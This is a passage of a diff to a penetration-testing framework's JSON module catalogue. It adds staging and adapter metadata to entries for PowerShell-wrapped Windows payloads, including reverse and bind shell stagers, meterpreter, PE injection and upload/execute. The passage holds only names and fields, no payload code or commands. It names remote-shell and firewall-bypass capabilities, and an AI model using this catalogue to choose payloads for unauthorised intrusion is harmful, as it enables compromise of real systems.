"needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_tcp" }, "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -197257,7 +199823,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", @@ -197295,7 +199867,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_cmd/windows/powershell/patchupmeterpreter/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", @@ -197331,7 +199909,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/find_tag", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/findtag_ord" }, "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", @@ -197369,7 +199953,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", @@ -197406,7 +199996,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -197443,7 +200039,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", @@ -197481,7 +200083,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_tcp", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp" }, "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", @@ -197519,7 +200127,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", @@ -197558,7 +200172,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -197598,7 +200218,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -197638,7 +200264,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", @@ -197676,7 +200308,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/patchupmeterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/patchupmeterpreter", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", @@ -197715,7 +200353,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_cmd/windows/powershell/peinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", @@ -197754,7 +200398,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", @@ -197792,7 +200442,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -197831,7 +200487,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/peinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", @@ -197867,7 +200529,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_named_pipe" }, "payload_cmd/windows/powershell/peinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", @@ -197903,7 +200571,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_cmd/windows/powershell/peinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", @@ -197941,7 +200615,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_tcp" }, "payload_cmd/windows/powershell/peinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -197981,7 +200661,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_cmd/windows/powershell/peinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", @@ -198018,7 +200704,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_cmd/windows/powershell/peinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", @@ -198054,7 +200746,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/find_tag", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/findtag_ord" }, "payload_cmd/windows/powershell/peinject/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", @@ -198092,7 +200790,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_cmd/windows/powershell/peinject/reverse_named_pipe": { "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", @@ -198128,7 +200832,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_named_pipe" }, "payload_cmd/windows/powershell/peinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", @@ -198164,7 +200874,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_cmd/windows/powershell/peinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -198200,7 +200916,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_cmd/windows/powershell/peinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", @@ -198238,7 +200960,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp" }, "payload_cmd/windows/powershell/peinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", @@ -198276,7 +201004,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_cmd/windows/powershell/peinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", @@ -198315,7 +201049,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -198355,7 +201095,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/peinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -198395,7 +201141,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_cmd/windows/powershell/peinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", @@ -198432,7 +201184,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/peinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/peinject", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/pingback_bind_tcp": { "name": "Powershell Exec, Windows x86 Pingback, Bind TCP Inline", @@ -198467,7 +201225,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/pingback_bind_tcp", + "staged": false }, "payload_cmd/windows/powershell/pingback_reverse_tcp": { "name": "Powershell Exec, Windows x86 Pingback, Reverse TCP Inline", @@ -198502,7 +201264,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/pingback_reverse_tcp", + "staged": false }, "payload_cmd/windows/powershell/powershell_bind_tcp": { "name": "Powershell Exec", @@ -198540,7 +201306,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/powershell_bind_tcp", + "staged": false }, "payload_cmd/windows/powershell/powershell_reverse_tcp": { "name": "Powershell Exec", @@ -198578,7 +201348,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/powershell_reverse_tcp", + "staged": false }, "payload_cmd/windows/powershell/powershell_reverse_tcp_ssl": { "name": "Powershell Exec", @@ -198616,7 +201390,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/powershell_reverse_tcp_ssl", + "staged": false }, "payload_cmd/windows/powershell/shell/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Windows Command Shell, Hidden Bind Ipknock TCP Stager", @@ -198655,7 +201433,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_cmd/windows/powershell/shell/bind_hidden_tcp": { "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Stager", @@ -198694,7 +201478,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_cmd/windows/powershell/shell/bind_ipv6_tcp": { "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)", @@ -198732,7 +201522,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/shell/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -198771,7 +201567,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/shell/bind_named_pipe": { "name": "Powershell Exec, Windows Command Shell, Windows x86 Bind Named Pipe Stager", @@ -198808,7 +201610,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_named_pipe", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_named_pipe" }, "payload_cmd/windows/powershell/shell/bind_nonx_tcp": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (No NX or Win7)", @@ -198845,7 +201653,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_cmd/windows/powershell/shell/bind_tcp": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (Windows x86)", @@ -198883,7 +201697,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_tcp" }, "payload_cmd/windows/powershell/shell/bind_tcp_rc4": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -198923,7 +201743,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_cmd/windows/powershell/shell/bind_tcp_uuid": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)", @@ -198961,7 +201787,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_cmd/windows/powershell/shell/find_tag": { "name": "Powershell Exec, Windows Command Shell, Find Tag Ordinal Stager", @@ -198998,7 +201830,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/find_tag", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/findtag_ord" }, "payload_cmd/windows/powershell/shell/reverse_ipv6_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (IPv6)", @@ -199036,7 +201874,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_cmd/windows/powershell/shell/reverse_nonx_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (No NX or Win7)", @@ -199073,7 +201917,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_cmd/windows/powershell/shell/reverse_ord_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -199109,7 +201959,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_cmd/windows/powershell/shell/reverse_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager", @@ -199147,7 +202003,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_tcp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp" }, "payload_cmd/windows/powershell/shell/reverse_tcp_allports": { "name": "Powershell Exec, Windows Command Shell, Reverse All-Port TCP Stager", @@ -199185,7 +202047,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_cmd/windows/powershell/shell/reverse_tcp_dns": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (DNS)", @@ -199224,7 +202092,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_cmd/windows/powershell/shell/reverse_tcp_rc4": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -199264,7 +202138,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_cmd/windows/powershell/shell/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -199304,7 +202184,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_cmd/windows/powershell/shell/reverse_tcp_uuid": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager with UUID Support", @@ -199342,7 +202228,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_cmd/windows/powershell/shell/reverse_udp": { "name": "Powershell Exec, Windows Command Shell, Reverse UDP Stager with UUID Support", @@ -199379,7 +202271,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell/reverse_udp", + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_udp" }, "payload_cmd/windows/powershell/shell_bind_tcp": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Inline", @@ -199415,7 +202313,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell_bind_tcp", + "staged": false }, "payload_cmd/windows/powershell/shell_bind_tcp_xpfw": { "name": "Powershell Exec, Windows Disable Windows ICF, Command Shell, Bind TCP Inline", @@ -199450,7 +202352,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell_bind_tcp_xpfw", + "staged": false }, "payload_cmd/windows/powershell/shell_hidden_bind_tcp": { "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Inline", @@ -199487,7 +202393,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell_hidden_bind_tcp", + "staged": false }, "payload_cmd/windows/powershell/shell_reverse_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Inline", @@ -199523,7 +202433,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/shell_reverse_tcp", + "staged": false }, "payload_cmd/windows/powershell/speak_pwned": { "name": "Powershell Exec", @@ -199558,7 +202472,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/speak_pwned", + "staged": false }, "payload_cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind Ipknock TCP Stager", @@ -199597,7 +202515,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_cmd/windows/powershell/upexec/bind_hidden_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind TCP Stager", @@ -199636,7 +202560,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)", @@ -199674,7 +202604,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -199713,7 +202649,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/powershell/upexec/bind_named_pipe": { "name": "Powershell Exec, Windows Upload/Execute, Windows x86 Bind Named Pipe Stager", @@ -199750,7 +202692,13 @@ "notes": { }, 